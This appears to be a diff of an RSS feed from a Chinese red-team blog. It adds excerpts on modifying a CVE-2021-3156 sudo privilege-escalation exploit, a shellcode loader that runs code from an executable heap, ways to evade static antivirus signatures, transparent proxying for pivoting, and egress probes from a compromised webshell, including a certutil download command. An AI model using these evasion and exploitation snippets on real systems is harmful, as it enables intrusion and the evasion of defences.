tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>worker_processes 1; +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>error_log logs/error.log error; # 日志级别 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>events { +</span></span><span style="display:flex;"><span> worker_connections 1024; +</span></span><span style="display:flex;"><span>} +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>http { +</span></span><span style="display:flex;"><span> server { +</span></span><span style="display:flex;"><span> listen 80; +</span></span><span style="display:flex;"><span> location / { +</span></span><span style="display:flex;"><span> content_by_lua_block { +</span></span><span style="display:flex;"><span> ngx.say(&#34;Hello,Rvn0xsy&#34;); +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span>} +</span></span></code></pre></td></tr></table> +</div> +</div><p>当OpenResty环境以<code>nginx.conf</code>作为配置文件启动的话,访问网站会输出<code>Hello,Rvn0xsy</code>。</p>CVE-2021-3156 - Exploit修改https://payloads.online/archivers/2021-02-09/1/Tue, 09 Feb 2021 00:00:00 +0000https://payloads.online/archivers/2021-02-09/1/<p>New-Exploit : <a href="https://github.com/Rvn0xsy/CVE-2021-3156-plus">https://github.com/Rvn0xsy/CVE-2021-3156-plus</a></p> <h2 id="0x01-为什么要修改">0x01 为什么要修改?</h2> <p>本人不擅长二进制,但是看了一下网上公开的Exploit,都需要输入一次密码才能够利用这个漏洞,还是不满足于一些实战场景,如果获得不到交互式Shell,那么用原有的Exploit就不能利用了。</p> <h2 id="0x02-linux-管道符">0x02 Linux 管道符</h2> @@ -873,7 +1673,41 @@ </p> <p>设置<code>-S</code>参数,可以直接通过管道符传递密码,那么也就是说,给Exploit增加这么一个参数就能在提权的时候不需要输入密码了,从而跳过交互,但前提还是需要用C语言模拟这个管道传递字符。</p> <h2 id="0x03-exploit分析">0x03 Exploit分析</h2> -<p>本文修改的提权Exploit 溢出点主要是在环境变量中,通过调用<code>execve</code>触发。</p>静态恶意代码逃逸(第十课)https://payloads.online/archivers/2021-02-08/1/Mon, 08 Feb 2021 00:00:00 +0000https://payloads.online/archivers/2021-02-08/1/<p>代码将会上传至Github,方便读者下载研究 : <a href="https://github.com/Rvn0xsy/BadCode">https://github.com/Rvn0xsy/BadCode</a></p> +<p>本文修改的提权Exploit 溢出点主要是在环境变量中,通过调用<code>execve</code>触发。</p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-gdscript3" data-lang="gdscript3"><span style="display:flex;"><span><span style="color:#75715e">#include &lt;unistd.h&gt;</span> +</span></span><span style="display:flex;"><span><span style="color:#a6e22e">int</span> execve(<span style="color:#66d9ef">const</span> char <span style="color:#f92672">*</span>pathname, char <span style="color:#f92672">*</span><span style="color:#66d9ef">const</span> argv[],char <span style="color:#f92672">*</span><span style="color:#66d9ef">const</span> envp[]); +</span></span></code></pre></td></tr></table> +</div> +</div><p> + <img src="https://images.payloads.online/af21b1ea-4f5f-11ec-b856-00d861bf4abb.png" alt="2021-02-10-02-44-51"> + +</p> +<p>在21行传入了argv,可以将这个数组添加一个元素,也就是等同于添加一个命令行参数:</p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">4 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">5 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">6 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#66d9ef">char</span><span style="color:#f92672">*</span> sudoedit_argv[] <span style="color:#f92672">=</span> { +</span></span><span style="display:flex;"><span> <span style="color:#e6db74">&#34;sudoedit&#34;</span>, +</span></span><span style="display:flex;"><span> <span style="color:#e6db74">&#34;-S&#34;</span>, <span style="color:#75715e">// --stdin 非交互式 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#e6db74">&#34;-s&#34;</span>, +</span></span><span style="display:flex;"><span> buf, +</span></span><span style="display:flex;"><span> NULL}; +</span></span></code></pre></td></tr></table> +</div> +</div><p>紧接着,需要思考如何传入密码了。</p>静态恶意代码逃逸(第十课)https://payloads.online/archivers/2021-02-08/1/Mon, 08 Feb 2021 00:00:00 +0000https://payloads.online/archivers/2021-02-08/1/<p>代码将会上传至Github,方便读者下载研究 : <a href="https://github.com/Rvn0xsy/BadCode">https://github.com/Rvn0xsy/BadCode</a></p> <h2 id="0x01-uuid">0x01 UUID</h2> <p>通用唯一标识符(universally unique identifier, UUID)是一个128位的用于在计算机系统中以识别信息的数目。在Windows中也有使用GUID来标识唯一对象。 — 来源:<a href="https://en.wikipedia.org/wiki/Universally_unique_identifier">维基百科</a></p> <p>关于Windows中的GUID也等同于UUID,先看一下结构:</p> @@ -893,7 +1727,25 @@ </span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> Data3; <span style="color:#75715e">// 2字节 </span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">char</span> Data4[<span style="color:#ae81ff">8</span>]; <span style="color:#75715e">// 8字节 </span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>} GUID; -</span></span></code></prWindows权限控制相关的防御与攻击技术https://payloads.online/archivers/2021-01-31/1/Sun, 31 Jan 2021 00:00:00 +0000https://payloads.online/archivers/2021-01-31/1/<h2 id="0x00-前言">0x00 前言</h2> +</span></span></code></pre></td></tr></table> +</div> +</div><p>总和一共16字节,16*8 = 128位。</p> +<h2 id="0x02-与uuid相关的windows-api">0x02 与UUID相关的Windows API</h2> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">4 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>RPC_STATUS <span style="color:#a6e22e">UuidFromString</span>( +</span></span><span style="display:flex;"><span> RPC_CSTR StringUuid, +</span></span><span style="display:flex;"><span> UUID <span style="color:#f92672">*</span>Uuid +</span></span><span style="display:flex;"><span>); +</span></span></code></pre></td></tr></table> +</div> +</div><p>功能:将字符串UUID转换为UUID结构。</p>Windows权限控制相关的防御与攻击技术https://payloads.online/archivers/2021-01-31/1/Sun, 31 Jan 2021 00:00:00 +0000https://payloads.online/archivers/2021-01-31/1/<h2 id="0x00-前言">0x00 前言</h2> <p>近年来终端安全检测与响应的产品发展迅速,我们不得不意识到,安全是在一个循环中发展的,从人们意识到安全开始,大部分了解到层面都是病毒、木马,然后接着是浏览器相关的Web安全领域,最后又开始回到终端。这个议题我们通过了解Windows操作系统下的访问控制技术,站在攻防的不同角度去进行对抗,提升自身的知识储备,个人觉得这些知识适用于许多使用Windows操作系统的用户。</p> <h2 id="0x01-安全描述符security-descriptorssd">0X01 安全描述符(Security Descriptors,SD)</h2> <p>在Windows中,每一个安全对象实体都拥有一个安全描述符,安全描述符包含了被保护对象相关联的安全信息的数据结构,它的作用主要是为了给操作系统提供判断来访对象的权限。</p> @@ -919,7 +1771,26 @@ </span></span><span style="display:flex;"><span> +0x010 Group : Ptr64 Void # 指定对象的主组(SID) </span></span><span style="display:flex;"><span> +0x018 Sacl : Ptr64 _ACL # 系统访问控制列表 </span></span><span style="display:flex;"><span> +0x020 Dacl : Ptr64 _ACL # 自主访问控制列表 -</span></span></code></pr静态恶意代码逃逸(第九课)https://payloads.online/archivers/2020-11-29/2/Sun, 29 Nov 2020 00:00:00 +0000https://payloads.online/archivers/2020-11-29/2/<p>代码将会上传至Github,方便读者下载研究 : <a href="https://github.com/Rvn0xsy/BadCode">https://github.com/Rvn0xsy/BadCode</a></p> +</span></span></code></pre></td></tr></table> +</div> +</div><h3 id="windows具体有哪些安全对象">Windows具体有哪些安全对象?</h3> +<ul> +<li>进程</li> +<li>线程</li> +<li>文件</li> +<li>服务</li> +<li>计划任务</li> +<li>互斥体</li> +<li>管道</li> +<li>油槽</li> +<li>文件共享</li> +<li>访问令牌</li> +<li>注册表</li> +<li>打印机</li> +<li>作业</li> +<li>&hellip;</li> +</ul> +<p>一般情况下,大部分用户接触更多的可能就是文件了,我们就以文件开始,文件对于我们去学习访问控制是最直观的。</p>静态恶意代码逃逸(第九课)https://payloads.online/archivers/2020-11-29/2/Sun, 29 Nov 2020 00:00:00 +0000https://payloads.online/archivers/2020-11-29/2/<p>代码将会上传至Github,方便读者下载研究 : <a href="https://github.com/Rvn0xsy/BadCode">https://github.com/Rvn0xsy/BadCode</a></p> <h2 id="0x01-数据执行保护dep">0x01 数据执行保护(DEP)</h2> <p>DEP(Data Execution Prevention)即“ 数据执行保护”,这是Windows的一项安全机制,主要用来防止病毒和其他安全威胁对系统造成破坏。 微软从Windows XP SP2引入了该技术,并一直延续到今天。</p> <h3 id="为什么要有dep">为什么要有DEP</h3> @@ -941,7 +1812,60 @@ </span></span><span style="display:flex;"><span>__in DWORD flOptions, </span></span><span style="display:flex;"><span>__in SIZE_T dwInitialSize, </span></span><span style="display:flex;"><span>__in SIZE_T dwMaximumSize ); -</span></span></code></pr静态恶意代码逃逸(第八课)https://payloads.online/archivers/2020-11-29/1/Sun, 29 Nov 2020 00:00:00 +0000https://payloads.online/archivers/2020-11-29/1/<p>代码将会上传至Github,方便读者下载研究 : <a href="https://github.com/Rvn0xsy/BadCode">https://github.com/Rvn0xsy/BadCode</a></p> +</span></span></code></pre></td></tr></table> +</div> +</div><p>第一个参数<code>flOptions</code>用于修改如何在堆栈上执行各种操作。 +你可以设定<code>0</code>、<code>HEAP_NO_SERIALIZE</code>、<code>HEAP_GENERATE_EXCEPTIONS</code>、<code>HEAP_CREATE_ENABLE_EXECUTE</code>或者是这些标志的组合。</p> +<ul> +<li><code>HEAP_NO_SERIALIZE</code>:对堆的访问是非独占的,如果一个线程没有完成对堆的操作,其它线程也可以进程堆操作,这个开关是非常危险的,应尽量避免使用。</li> +<li><code>HEAP_GENERATE_EXCEPTIONS</code>:当堆分配内存失败时,会抛出异常。如果不设置,则返回NULL。</li> +<li><code>HEAP_CREATE_ENALBE_EXECUTE</code>:堆中存放的内容是可以执行的代码。如果不设置,意味着堆中存放的是不可执行的数据。</li> +</ul> +<p>看到<code>HEAP_CREATE_ENALBE_EXECUTE</code>相信很多人能够恍然大悟,我们的Shellcode可以存入这个辅助堆栈中,然后创建一个线程运行它即可。</p> +<h2 id="0x04-shellcode执行">0x04 Shellcode执行</h2> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 4 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 5 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 6 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 7 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 8 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 9 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">10 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">11 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">12 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">13 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">14 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">15 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">16 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">17 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">18 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;iostream&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;Windows.h&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">main</span>() +</span></span><span style="display:flex;"><span>{ +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> shellcode[] <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;123&#34;</span>; +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> HANDLE hHep <span style="color:#f92672">=</span> HeapCreate(HEAP_CREATE_ENABLE_EXECUTE <span style="color:#f92672">|</span> HEAP_ZERO_MEMORY, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">0</span>); +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> PVOID Mptr <span style="color:#f92672">=</span> HeapAlloc(hHep, <span style="color:#ae81ff">0</span>, <span style="color:#66d9ef">sizeof</span>(shellcode)); +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> RtlCopyMemory(Mptr, shellcode, <span style="color:#66d9ef">sizeof</span>(shellcode)); +</span></span><span style="display:flex;"><span> DWORD dwThreadId <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; +</span></span><span style="display:flex;"><span> HANDLE hThread <span style="color:#f92672">=</span> CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)Mptr, NULL, NULL, <span style="color:#f92672">&amp;</span>dwThreadId); +</span></span><span style="display:flex;"><span> WaitForSingleObject(hThread, INFINITE); +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> std<span style="color:#f92672">::</span>cout <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;Hello World!</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>; +</span></span><span style="display:flex;"><span>} +</span></span></code></pre></td></tr></table> +</div> +</div><p>上方的例子中,我将shellcode替换为了其他字符串,因为我觉得shellcode混淆是另外一回事。</p>静态恶意代码逃逸(第八课)https://payloads.online/archivers/2020-11-29/1/Sun, 29 Nov 2020 00:00:00 +0000https://payloads.online/archivers/2020-11-29/1/<p>代码将会上传至Github,方便读者下载研究 : <a href="https://github.com/Rvn0xsy/BadCode">https://github.com/Rvn0xsy/BadCode</a></p> <h2 id="0x01-字符串">0x01 字符串</h2> <p>一般情况下,C/C++程序中的字符串常量会被硬编码到程序中(.data段,也就是数据段),尤其是全局变量最容易被定位到。</p> <p>例如:</p> @@ -967,7 +1891,38 @@ </span></span><span style="display:flex;"><span><span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">&#34;%s </span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>, global_string); </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span>} -</span></span></code></prLinux透明代理在红队渗透中的应用https://payloads.online/archivers/2020-11-13/1/Fri, 13 Nov 2020 00:00:00 +0000https://payloads.online/archivers/2020-11-13/1/<h2 id="0x00-前言">0x00 前言</h2> +</span></span></code></pre></td></tr></table> +</div> +</div><p> + <img src="https://images.payloads.online/a794ebcc-4f5f-11ec-b264-00d861bf4abb.png" alt="2020-11-29-15-31-54"> + +</p> +<p>如果编写的是一些敏感参数的工具,很容易会被提取出特征,例如lcx这款工具,它的参数如下:</p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">4 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">5 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">6 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">7 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">8 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">9 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>[Usage of Packet Transmit:] +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>lcx -&lt;listen|tran|slave&gt; &lt;option&gt; [-log logfile] +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[option:] +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> -listen &lt;ConnectPort&gt; &lt;TransmitPort&gt; +</span></span><span style="display:flex;"><span> -tran&lt;ConnectPort&gt; &lt;TransmitHost&gt; &lt;TransmitPort&gt; +</span></span><span style="display:flex;"><span> -slave &lt;ConnectHost&gt; &lt;ConnectPort&gt; &lt;TransmitHost&gt;&lt;TransmitPort&gt; +</span></span></code></pre></td></tr></table> +</div> +</div><p>其中,<code>-listen</code>、<code>-tran</code>、<code>-slave</code>非常敏感,一般常见程序不会高频使用这些参数名,因此落地被杀也是意料之中。</p>Linux透明代理在红队渗透中的应用https://payloads.online/archivers/2020-11-13/1/Fri, 13 Nov 2020 00:00:00 +0000https://payloads.online/archivers/2020-11-13/1/<h2 id="0x00-前言">0x00 前言</h2> <p>决定写这篇文章是我解决了所有问题以后决定记录一下这个过程所写的,因此可能会忽略很多细节上的东西。</p> <ul> <li>问题一:打点的时候经常会被WAF封禁IP怎么办?</li> @@ -992,7 +1947,41 @@ <p>大家都知道,在Linux下常规的内网渗透需要使用一些如:<a href="https://github.com/haad/proxychains">proxychains</a>的工具实现指定的进程访问内网的资源,相当于给程序套了一层代理。</p> <p>它的实现原理如下:</p> <blockquote> -<p>ProxyChains is a UNIX program, that hooks network-related libc functions in dynamically linked programs via a preloaded DLL and redirects the connections through SOCKS4a/5 or HTTP proxies.</p>Web正向代理的思考https://payloads.online/archivers/2020-11-01/1/Sun, 01 Nov 2020 00:00:00 +0000https://payloads.online/archivers/2020-11-01/1/<h2 id="0x01-背景假设">0x01 背景假设</h2> +<p>ProxyChains is a UNIX program, that hooks network-related libc functions in dynamically linked programs via a preloaded DLL and redirects the connections through SOCKS4a/5 or HTTP proxies.</p> +</blockquote> +<p>关于<code>LD_PRELOAD</code>之前有写过相关文章:<a href="https://payloads.online/archivers/2020-01-01/1">Linux权限维持之LD_PRELOAD</a></p> +<p>它的缺点却是每个命令必须要在前面加上<code>proxychains</code>,这样<code>Bash shell</code>有时候可能不会正常工作给我们进行参数提示。</p> +<p>我要做的就是使用<code>iptables</code>实现透明代理,让我的机器所有与目标地址相关的流量都导入<code>socks5</code>代理端口。</p> +<p>题外话一,关闭<code>proxychains</code>的输出信息可以将<code>/etc/proxychains.conf</code>文件中的<code>quiet_mode</code>前面的<code>#</code>去除。</p> +<p> + <img src="https://images.payloads.online/a555ab4e-4f5f-11ec-885e-00d861bf4abb.png" alt="2020-11-13-20-18-48"> + +</p> +<p>题外话二,设置metasploit全局代理的方法:</p> +<p> + <img src="https://images.payloads.online/a5aea60e-4f5f-11ec-89ed-00d861bf4abb.png" alt="2020-11-13-22-15-29"> + +</p> +<p>可以将metasploit全局变量<code>proxies</code>的值进行设置来使得后续所有的流量都经过代理发出,这样能够达到内网穿透的效果。</p> +<blockquote> +<p>图中演示了2层代理的设置</p> +</blockquote> +<h2 id="0x02-linux下的iptables防火墙">0x02 Linux下的iptables防火墙</h2> +<p><code>iptables</code>是一个用户空间实用程序,它允许系统管理员配置Linux内核防火墙的IP数据包过滤器规则,这些规则实现为不同的<code>Netfilter</code>模块。筛选器组织在不同的表中,这些表包含有关如何处理网络流量数据包的规则链。当前,不同的内核模块和程序用于不同的协议。<code>iptables</code>适用于IPv4,<code>ip6tables</code>适用于IPv6,<code>arptables</code>适用于ARP,而<code>ebtables</code>适用于以太网帧。</p> +<p>学习<code>iptables</code>有一点门槛,需要对表、规则链、动作等关系有一定的了解,这里不继续铺垫,可以自行搜索关于<code>iptables</code>的文章。</p> +<h3 id="流量导入socks代理">流量导入Socks代理</h3> +<p>通过将规则插入到<code>NAT</code>表的<code>PREROUTING</code>链中,可以轻松地重定向传入流量。</p> +<p>例如:</p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080 +</span></span></code></pre></td></tr></table> +</div> +</div><blockquote> +<p>所有访问eth0网卡80端口的流量,都会被重定向到8080端口。</p>Web正向代理的思考https://payloads.online/archivers/2020-11-01/1/Sun, 01 Nov 2020 00:00:00 +0000https://payloads.online/archivers/2020-11-01/1/<h2 id="0x01-背景假设">0x01 背景假设</h2> <p>获取Webshell后,但是机器不出网(DNS、TCP、UDP)等常规端口都进行了尝试。</p> <p>不出网的解释:内部的Webshell服务器无法连接互联网。</p> <p>尝试过的方案有:</p> @@ -1009,7 +1998,22 @@ </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 9 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">10 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">11 -</span></code></pr静态恶意代码逃逸(第七课)https://payloads.online/archivers/2020-10-23/1/Fri, 23 Oct 2020 00:00:00 +0000https://payloads.online/archivers/2020-10-23/1/<p>代码将会上传至Github,方便读者下载研究 : <a href="https://github.com/Rvn0xsy/BadCode">https://github.com/Rvn0xsy/BadCode</a></p> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>title 出网探测方式 +</span></span><span style="display:flex;"><span>state TCP { +</span></span><span style="display:flex;"><span>WindowsHttp : certutil -f -split -urlcache http://domain/com +</span></span><span style="display:flex;"><span>LinuxHttp: wget &lt;URL&gt; +</span></span><span style="display:flex;"><span>} +</span></span><span style="display:flex;"><span>state UDP{ +</span></span><span style="display:flex;"><span>DNS : nslookup domain.com +</span></span><span style="display:flex;"><span>} +</span></span><span style="display:flex;"><span>state ICMP{ +</span></span><span style="display:flex;"><span> ICMP: ping domain.com +</span></span><span style="display:flex;"><span>} +</span></span></code></pre></td></tr></table> +</div> +</div><p>那么,一般我们会尝试:</p>静态恶意代码逃逸(第七课)https://payloads.online/archivers/2020-10-23/1/Fri, 23 Oct 2020 00:00:00 +0000https://payloads.online/archivers/2020-10-23/1/<p>代码将会上传至Github,方便读者下载研究 : <a href="https://github.com/Rvn0xsy/BadCode">https://github.com/Rvn0xsy/BadCode</a></p> <h2 id="0x01-导入地址表iat">0x01 导入地址表(IAT)</h2> <blockquote> <p>Import Address Table 由于导入函数就是被程序调用但其执行代码又不在程序中的函数,这些函数的代码位于一个或者多个DLL 中,当PE 文件被装入内存的时候,Windows 装载器才将DLL 装入,并将调用导入函数的指令和函数实际所处的地址联系起来(动态连接),这操作就需要导入表完成.其中导入地址表就指示函数实际地址。 - 